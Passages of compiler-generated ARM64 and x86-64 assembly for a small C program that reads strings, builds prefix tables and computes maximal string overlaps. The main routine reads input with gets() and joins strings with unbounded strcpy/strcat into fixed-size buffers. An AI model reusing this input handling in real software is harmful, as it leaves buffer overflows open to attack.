Header=BB0_3 Depth=2 ldr x8, [sp, #8] ldr w9, [sp, #4] subs w9, w9, #1 ldr w8, [x8, w9, sxtw #2] str w8, [sp, #4] b LBB0_3 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 ldur x8, [x29, #-8] ldrsw x9, [sp, #4] ldrsb w8, [x8, x9] ldur x9, [x29, #-8] ldursw x10, [x29, #-12] ldrsb w9, [x9, x10] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] add w8, w8, #1 str w8, [sp, #4] b LBB0_10 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] ldr x9, [sp, #8] ldursw x10, [x29, #-12] str w8, [x9, x10, lsl #2] b LBB0_11 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB0_1 LBB0_12: ldr x0, [sp, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _Rec ; -- Begin function Rec .p2align 2 _Rec: ; @Rec .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] str w2, [sp, #24] str w3, [sp, #20] str wzr, [sp, #8] ldr w8, [sp, #24] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldr w8, [sp, #8] stur w8, [x29, #-4] b LBB1_27 LBB1_2: str wzr, [sp, #16] b LBB1_3 LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_6 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=1 ldur x8, [x29, #-16] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #20] ldr x9, [x8, x9, lsl #3] ldr w8, [x9, #4] add w8, w8, #1 str w8, [x9, #4] b LBB1_5 LBB1_5: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB1_3 LBB1_6: str wzr, [sp, #16] b LBB1_7 LBB1_7: ; =>This Loop Header: Depth=1 ; Child Loop BB1_10 Depth 2 ; Child Loop BB1_16 Depth 2 ldr w8, [sp, #16] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_22 b LBB1_8 LBB1_8: ; in Loop: Header=BB1_7 Depth=1 ldur x8, [x29, #-16] ldrsw x9, [sp, #20] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] ldr w8, [x8, #4] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_20 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_7 Depth=1 str wzr, [sp, #12] b LBB1_10 LBB1_10: ; Parent Loop BB1_7 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #12] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_13 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_10 Depth=2 ldur x8, [x29, #-16] ldrsw x9, [sp, #20] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #12] ldr x9, [x8, x9, lsl #3] ldr w8, [x9, #4] add w8, w8, #1 str w8, [x9, #4] b LBB1_12 LBB1_12: ; in Loop: Header=BB1_10 Depth=2 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_10 LBB1_13: ; in Loop: Header=BB1_7 Depth=1 ldur x0, [x29, #-16] ldur w1, [x29, #-20] ldr w8, [sp, #24] add w2, w8, #1 ldr w3, [sp, #16] bl _Rec ldur x8, [x29, #-16] ldrsw x9, [sp, #20] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] ldr w8, [x8] add w8, w0, w8 str w8, [sp, #4] ldr w8, [sp, #4] ldr w9, [sp, #8] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB1_15 b LBB1_14 LBB1_14: ; in Loop: Header=BB1_7 Depth=1 ldr w8, [sp, #4] str w8, [sp, #8] b LBB1_15 LBB1_15: ; in Loop: Header=BB1_7 Depth=1 str wzr, [sp, #12] b LBB1_16 LBB1_16: ; Parent Loop BB1_7 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #12] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_19 b LBB1_17 LBB1_17: ; in Loop: Header=BB1_16 Depth=2 ldur x8, [x29, #-16] ldrsw x9, [sp, #20] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #12] ldr x9, [x8, x9, lsl #3] ldr w8, [x9, #4] subs w8, w8, #1 str w8, [x9, #4] b LBB1_18 LBB1_18: ; in Loop: Header=BB1_16 Depth=2 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_16 LBB1_19: ; in Loop: Header=BB1_7 Depth=1 b LBB1_20 LBB1_20: ; in Loop: Header=BB1_7 Depth=1 b LBB1_21 LBB1_21: ; in Loop: Header=BB1_7 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB1_7 LBB1_22: str wzr, [sp, #16] b LBB1_23 LBB1_23: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_26 b LBB1_24 LBB1_24: ; in Loop: Header=BB1_23 Depth=1 ldur x8, [x29, #-16] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] ldrsw x9, [sp, #20] ldr x9, [x8, x9, lsl #3] ldr w8, [x9, #4] subs w8, w8, #1 str w8, [x9, #4] b LBB1_25 LBB1_25: ; in Loop: Header=BB1_23 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB1_23 LBB1_26: ldr w8, [sp, #8] stur w8, [x29, #-4] b LBB1_27 LBB1_27: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _Max ; -- Begin function Max .p2align 2 _Max: ; @Max .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] str wzr, [sp, #12] str wzr, [sp, #16] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_6 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldur x0, [x29, #-8] ldur w1, [x29, #-12] ldr w3, [sp, #16] mov w2, #1 bl _Rec str w0, [sp, #8] ldr w8, [sp, #8] ldr w9, [sp, #12] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #8] str w8, [sp, #12] b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB2_1 LBB2_6: ldr w0, [sp, #12] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur wzr, [x29, #-36] mov x0, #1024 bl _malloc str x0, [sp, #40] mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf ldursw x8, [x29, #-8] lsl x0, x8, #3 bl _malloc stur x0, [x29, #-24] ldursw x8, [x29, #-8] lsl x0, x8, #3 bl _malloc str x0, [sp, #48] stur wzr, [x29, #-12] b LBB3_1 LBB3_1: ; =>This Loop Header: Depth=1 ; Child Loop BB3_3 Depth 2 ldur w8, [x29, #-12] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_8 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 mov x0, #512 bl _malloc ldr x8, [sp, #48] ldursw x9, [x29, #-12] str x0, [x8, x9, lsl #3] ldursw x8, [x29, #-8] lsl x0, x8, #3 bl _malloc ldur x8, [x29, #-24] ldursw x9, [x29, #-12] str x0, [x8, x9, lsl #3] stur wzr, [x29, #-16] b LBB3_3 LBB3_3: ; Parent Loop BB3_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-16] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_6 b LBB3_4 LBB3_4: ; in Loop: Header=BB3_3 Depth=2 mov x0, #2 mov x1, #4 bl _calloc ldur x8, [x29, #-24] ldursw x9, [x29, #-12] ldr x8, [x8, x9, lsl #3] ldursw x9, [x29, #-16] str x0, [x8, x9, lsl #3] b LBB3_5 LBB3_5: ; in Loop: Header=BB3_3 Depth=2 ldur w8, [x29, #-16] add w8, w8, #1 stur w8, [x29, #-16] b LBB3_3 LBB3_6: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #48] ldursw x9, [x29, #-12] ldr x0, [x8, x9, lsl #3] bl _gets ldr x8, [sp, #48] ldursw x9, [x29, #-12] ldr x0, [x8, x9, lsl #3] bl _strlen ldursw x8, [x29, #-36] add x8, x8, x0 ; kill: def $w8 killed $w8 killed $x8 stur w8, [x29, #-36] b LBB3_7 LBB3_7: ; in Loop: Header=BB3_1 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB3_1 LBB3_8: stur wzr, [x29, #-12] b LBB3_9 LBB3_9: ; =>This Loop Header: Depth=1 ; Child Loop BB3_11 Depth 2 ldur w8, [x29, #-12] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_16 b LBB3_10 LBB3_10: ; in Loop: Header=BB3_9 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-16] b LBB3_11 LBB3_11: ; Parent Loop BB3_9 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-16] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_14 b LBB3_12 LBB3_12: ; in Loop: Header=BB3_11 Depth=2 ldr x0, [sp, #40] ldr x8, [sp, #48] ldursw x9, [x29, #-12] ldr x1, [x8, x9, lsl #3] mov x2, #-1 str x2, [sp, #24] ; 8-byte Folded Spill bl ___strcpy_chk ldr x2, [sp, #24] ; 8-byte Folded Reload ldr x0, [sp, #40] ldr x8, [sp, #48] ldursw x9, [x29, #-16] ldr x1, [x8, x9, lsl #3] bl ___strcat_chk ldr x0, [sp, #40] bl _Prefix stur x0, [x29, #-32] ldur x8, [x29, #-32] str x8, [sp, #16] ; 8-byte Folded Spill ldr x0, [sp, #40] bl _strlen ldr x8, [sp, #16] ; 8-byte Folded Reload subs x9, x0, #1 ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-24] ldursw x10, [x29, #-16] ldr x9, [x9, x10, lsl #3] ldursw x10, [x29, #-12] ldr x9, [x9, x10, lsl #3] str w8, [x9] ldur x0, [x29, #-32] bl _free ldr x2, [sp, #24] ; 8-byte Folded Reload ldr x0, [sp, #40] ldr x8, [sp, #48] ldursw x9, [x29, #-16] ldr x1, [x8, x9, lsl #3] bl ___strcpy_chk ldr x2, [sp, #24] ; 8-byte Folded Reload ldr x0, [sp, #40] ldr x8, [sp, #48] ldursw x9, [x29, #-12] ldr x1, [x8, x9, lsl #3] bl ___strcat_chk ldr x0, [sp, #40] bl _Prefix stur x0, [x29, #-32] ldur x8, [x29, #-32] str x8, [sp, #32] ; 8-byte Folded Spill ldr x0, [sp, #40] bl _strlen ldr x8, [sp, #32] ; 8-byte Folded Reload subs x9, x0, #1 ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-24] ldursw x10, [x29, #-12] ldr x9, [x9, x10, lsl #3] ldursw x10, [x29, #-16] ldr x9, [x9, x10, lsl #3] str w8, [x9] ldur x0, [x29, #-32] bl _free b LBB3_13 LBB3_13: ; in Loop: Header=BB3_11 Depth=2 ldur w8, [x29, #-16] add w8, w8, #1 stur w8, [x29, #-16] b LBB3_11 LBB3_14: ; in Loop: Header=BB3_9 Depth=1 b LBB3_15 LBB3_15: ; in Loop: Header=BB3_9 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB3_9 LBB3_16: ldur x0, [x29, #-24] ldur w1, [x29, #-8] bl _Max stur w0, [x29, #-12] ldur w9, [x29, #-12] ldur w8, [x29, #-36] subs w8, w8, w9 stur w8, [x29, #-36] ldur w9, [x29, #-36] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf stur wzr, [x29, #-12] b LBB3_17 LBB3_17: ; =>This Loop Header: Depth=1 ; Child Loop BB3_19 Depth 2 ldur w8, [x29, #-12] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_24 b LBB3_18 LBB3_18: ; in Loop: Header=BB3_17 Depth=1 stur wzr, [x29, #-16] b LBB3_19 LBB3_19: ; Parent Loop BB3_17 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-16] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB3_22 b LBB3_20 LBB3_20: ; in Loop: Header=BB3_19 Depth=2 ldur x8, [x29, #-24] ldursw x9, [x29, #-12] ldr x8, [x8, x9, lsl #3] ldursw x9, [x29, #-16] ldr x0, [x8, x9, lsl #3] bl _free b LBB3_21 LBB3_21: ; in Loop: Header=BB3_19 Depth=2 ldur w8, [x29, #-16] add w8, w8, #1 stur w8, [x29, #-16] b LBB3_19 LBB3_22: ; in Loop: Header=BB3_17 Depth=1 ldur x8, [x29, #-24] ldursw x9, [x29, #-12] ldr x0, [x8, x9, lsl #3] bl _free ldr x8, [sp, #48] ldursw x9, [x29, #-12] ldr x0, [x8, x9, lsl #3] bl _free b LBB3_23 LBB3_23: ; in Loop: Header=BB3_17 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB3_17 LBB3_24: ldur x0, [x29, #-24] bl _free ldr x0, [sp, #40] bl _free ldr x0, [sp, #48] bl _free mov w0, #0 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d%*c" l_.str.1: ; @.str.1 .asciz "%d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _Prefix ## -- Begin function Prefix .p2align 4, 0x90 _Prefix: ## @Prefix .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _strlen ## kill: def $eax killed $eax killed $rax movl %eax, -16(%rbp) movslq -16(%rbp), %rdi shlq $2, %rdi callq _malloc movq %rax, -24(%rbp) movl $0, -28(%rbp) movl -28(%rbp), %ecx movq -24(%rbp), %rax movl %ecx, (%rax) movl $1, -12(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 movl -12(%rbp), %eax cmpl -16(%rbp), %eax jge LBB0_12 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_3 LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, -28(%rbp) movb %al, -29(%rbp) ## 1-byte Spill jle LBB0_5 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movq -8(%rbp), %rax movslq -28(%rbp), %rcx movsbl (%rax,%rcx), %eax movq -8(%rbp), %rcx movslq -12(%rbp), %rdx movsbl (%rcx,%rdx), %ecx cmpl %ecx, %eax setne %al movb %al, -29(%rbp) ## 1-byte Spill LBB0_5: ## in Loop: Header=BB0_3 Depth=2 movb -29(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_6 jmp LBB0_8 LBB0_6: ## in Loop: Header=BB0_3 Depth=2 jmp LBB0_7 LBB0_7: ## in Loop: Header=BB0_3 Depth=2 movq -24(%rbp), %rax movl -28(%rbp), %ecx subl $1, %ecx movslq %ecx, %rcx movl (%rax,%rcx,4), %eax movl %eax, -28(%rbp) jmp LBB0_3 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 movq -8(%rbp), %rax movslq -28(%rbp), %rcx movsbl (%rax,%rcx), %eax movq -8(%rbp), %rcx movslq -12(%rbp), %rdx movsbl (%rcx,%rdx), %ecx cmpl %ecx, %eax jne LBB0_10 ## %bb.9: ## in Loop: Header=BB0_1 Depth=1 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) LBB0_10: ## in Loop: Header=BB0_1 Depth=1 movl -28(%rbp), %edx movq -24(%rbp), %rax movslq -12(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.11: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_1 LBB0_12: movq -24(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _Rec ## -- Begin function Rec .p2align 4, 0x90 _Rec: ## @Rec .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movl %edx, -24(%rbp) movl %ecx, -28(%rbp) movl $0, -40(%rbp) movl -24(%rbp), %eax cmpl -20(%rbp), %eax jne LBB1_2 ## %bb.1: movl -40(%rbp), %eax movl %eax, -4(%rbp) jmp LBB1_27 LBB1_2: movl $0, -32(%rbp) LBB1_3: ## =>This Inner Loop Header: Depth=1 movl -32(%rbp), %eax cmpl -20(%rbp), %eax jge LBB1_6 ## %bb.4: ## in Loop: Header=BB1_3 Depth=1 movq -16(%rbp), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) ## %bb.5: ## in Loop: Header=BB1_3 Depth=1 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB1_3 LBB1_6: movl $0, -32(%rbp) LBB1_7: ## =>This Loop Header: Depth=1 ## Child Loop BB1_10 Depth 2 ## Child Loop BB1_16 Depth 2 movl -32(%rbp), %eax cmpl -20(%rbp), %eax jge LBB1_22 ## %bb.8: ## in Loop: Header=BB1_7 Depth=1 movq -16(%rbp), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax cmpl $0, 4(%rax) jne LBB1_20 ## %bb.9: ## in Loop: Header=BB1_7 Depth=1 movl $0, -36(%rbp) LBB1_10: ## Parent Loop BB1_7 Depth=1 ## => This Inner Loop Header: Depth=2 movl -36(%rbp), %eax cmpl -20(%rbp), %eax jge LBB1_13 ## %bb.11: ## in Loop: Header=BB1_10 Depth=2 movq -16(%rbp), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) ## %bb.12: ## in Loop: Header=BB1_10 Depth=2 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB1_10 LBB1_13: ## in Loop: Header=BB1_7 Depth=1 movq -16(%rbp), %rdi movl -20(%rbp), %esi movl -24(%rbp), %edx addl $1, %edx movl -32(%rbp), %ecx callq _Rec movq -16(%rbp), %rcx movslq -28(%rbp), %rdx movq (%rcx,%rdx,8), %rcx movslq -32(%rbp), %rdx movq (%rcx,%rdx,8), %rcx addl (%rcx), %eax movl %eax, -44(%rbp) movl -44(%rbp), %eax cmpl -40(%rbp), %eax jle LBB1_15 ## %bb.14: ## in Loop: Header=BB1_7 Depth=1 movl -44(%rbp), %eax movl %eax, -40(%rbp) LBB1_15: ## in Loop: Header=BB1_7 Depth=1 movl $0, -36(%rbp) LBB1_16: ## Parent Loop BB1_7 Depth=1 ## => This Inner Loop Header: Depth=2 movl -36(%rbp), %eax cmpl -20(%rbp), %eax jge LBB1_19 ## %bb.17: ## in Loop: Header=BB1_16 Depth=2 movq -16(%rbp), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx addl $-1, %ecx movl %ecx, 4(%rax) ## %bb.18: ## in Loop: Header=BB1_16 Depth=2 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB1_16 LBB1_19: ## in Loop: Header=BB1_7 Depth=1 jmp LBB1_20 LBB1_20: ## in Loop: Header=BB1_7 Depth=1 jmp LBB1_21 LBB1_21: ## in Loop: Header=BB1_7 Depth=1 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB1_7 LBB1_22: movl $0, -32(%rbp) LBB1_23: ## =>This Inner Loop Header: Depth=1 movl -32(%rbp), %eax cmpl -20(%rbp), %eax jge LBB1_26 ## %bb.24: ## in Loop: Header=BB1_23 Depth=1 movq -16(%rbp), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx addl $-1, %ecx movl %ecx, 4(%rax) ## %bb.25: ## in Loop: Header=BB1_23 Depth=1 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB1_23 LBB1_26: movl -40(%rbp), %eax movl %eax, -4(%rbp) LBB1_27: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _Max ## -- Begin function Max .p2align 4, 0x90 _Max: ## @Max .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl $0, -20(%rbp) movl $0, -16(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movl -16(%rbp), %eax cmpl -12(%rbp), %eax jge LBB2_6 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -8(%rbp), %rdi movl -12(%rbp), %esi movl -16(%rbp), %ecx movl $1, %edx callq _Rec movl %eax, -24(%rbp) movl -24(%rbp), %eax cmpl -20(%rbp), %eax jle LBB2_4 ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movl -24(%rbp), %eax movl %eax, -20(%rbp) LBB2_4: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_5 LBB2_5: ## in Loop: Header=BB2_1 Depth=1 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB2_1 LBB2_6: movl -20(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movl $0, -4(%rbp) movl $0, -36(%rbp) movl $1024, %edi ## imm = 0x400 callq _malloc movq %rax, -56(%rbp) leaq L_.str(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf movslq -8(%rbp), %rdi shlq $3, %rdi callq _malloc movq %rax, -24(%rbp) movslq -8(%rbp), %rdi shlq $3, %rdi callq _malloc movq %rax, -48(%rbp) movl $0, -12(%rbp) LBB3_1: ## =>This Loop Header: Depth=1 ## Child Loop BB3_3 Depth 2 movl -12(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_8 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movl $512, %edi ## imm = 0x200 callq _malloc movq %rax, %rdx movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movslq -8(%rbp), %rdi shlq $3, %rdi callq _malloc movq %rax, %rdx movq -24(%rbp), %rax movslq -12(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movl $0, -16(%rbp) LBB3_3: ## Parent Loop BB3_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl -16(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_6 ## %bb.4: ## in Loop: Header=BB3_3 Depth=2 movl $2, %edi movl $4, %esi callq _calloc movq %rax, %rdx movq -24(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rax movslq -16(%rbp), %rcx movq %rdx, (%rax,%rcx,8) ## %bb.5: ## in Loop: Header=BB3_3 Depth=2 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB3_3 LBB3_6: ## in Loop: Header=BB3_1 Depth=1 movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi callq _gets movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi callq _strlen movq %rax, %rcx movslq -36(%rbp), %rax addq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) ## %bb.7: ## in Loop: Header=BB3_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB3_1 LBB3_8: movl $0, -12(%rbp) LBB3_9: ## =>This Loop Header: Depth=1 ## Child Loop BB3_11 Depth 2 movl -12(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_16 ## %bb.10: ## in Loop: Header=BB3_9 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) LBB3_11: ## Parent Loop BB3_9 Depth=1 ## => This Inner Loop Header: Depth=2 movl -16(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_14 ## %bb.12: ## in Loop: Header=BB3_11 Depth=2 movq -56(%rbp), %rdi movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq $-1, %rdx callq ___strcpy_chk movq -56(%rbp), %rdi movq -48(%rbp), %rax movslq -16(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq $-1, %rdx callq ___strcat_chk movq -56(%rbp), %rdi callq _Prefix movq %rax, -32(%rbp) movq -32(%rbp), %rax movq %rax, -72(%rbp) ## 8-byte Spill movq -56(%rbp), %rdi callq _strlen movq %rax, %rcx movq -72(%rbp), %rax ## 8-byte Reload subq $1, %rcx movl (%rax,%rcx,4), %ecx movq -24(%rbp), %rax movslq -16(%rbp), %rdx movq (%rax,%rdx,8), %rax movslq -12(%rbp), %rdx movq (%rax,%rdx,8), %rax movl %ecx, (%rax) movq -32(%rbp), %rdi callq _free movq -56(%rbp), %rdi movq -48(%rbp), %rax movslq -16(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq $-1, %rdx callq ___strcpy_chk movq -56(%rbp), %rdi movq -48(%rbp), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq $-1, %rdx callq ___strcat_chk movq -56(%rbp), %rdi callq _Prefix movq %rax, -32(%rbp) movq -32(%rbp), %rax movq %rax, -64(%rbp) ## 8-byte Spill movq -56(%rbp), %rdi callq _strlen movq %rax, %rcx movq -64(%rbp), %rax ## 8-byte Reload subq $1, %rcx movl (%rax,%rcx,4), %ecx movq -24(%rbp), %rax movslq -12(%rbp), %rdx movq (%rax,%rdx,8), %rax movslq -16(%rbp), %rdx movq (%rax,%rdx,8), %rax movl %ecx, (%rax) movq -32(%rbp), %rdi callq _free ## %bb.13: ## in Loop: Header=BB3_11 Depth=2 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB3_11 LBB3_14: ## in Loop: Header=BB3_9 Depth=1 jmp LBB3_15 LBB3_15: ## in Loop: Header=BB3_9 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB3_9 LBB3_16: movq -24(%rbp), %rdi movl -8(%rbp), %esi callq _Max movl %eax, -12(%rbp) movl -12(%rbp), %ecx movl -36(%rbp), %eax subl %ecx, %eax movl %eax, -36(%rbp) movl -36(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf movl $0, -12(%rbp) LBB3_17: ## =>This Loop Header: Depth=1 ## Child Loop BB3_19 Depth 2 movl -12(%rbp), %eax cmpl -8(%rbp), %eax jge LBB3_24 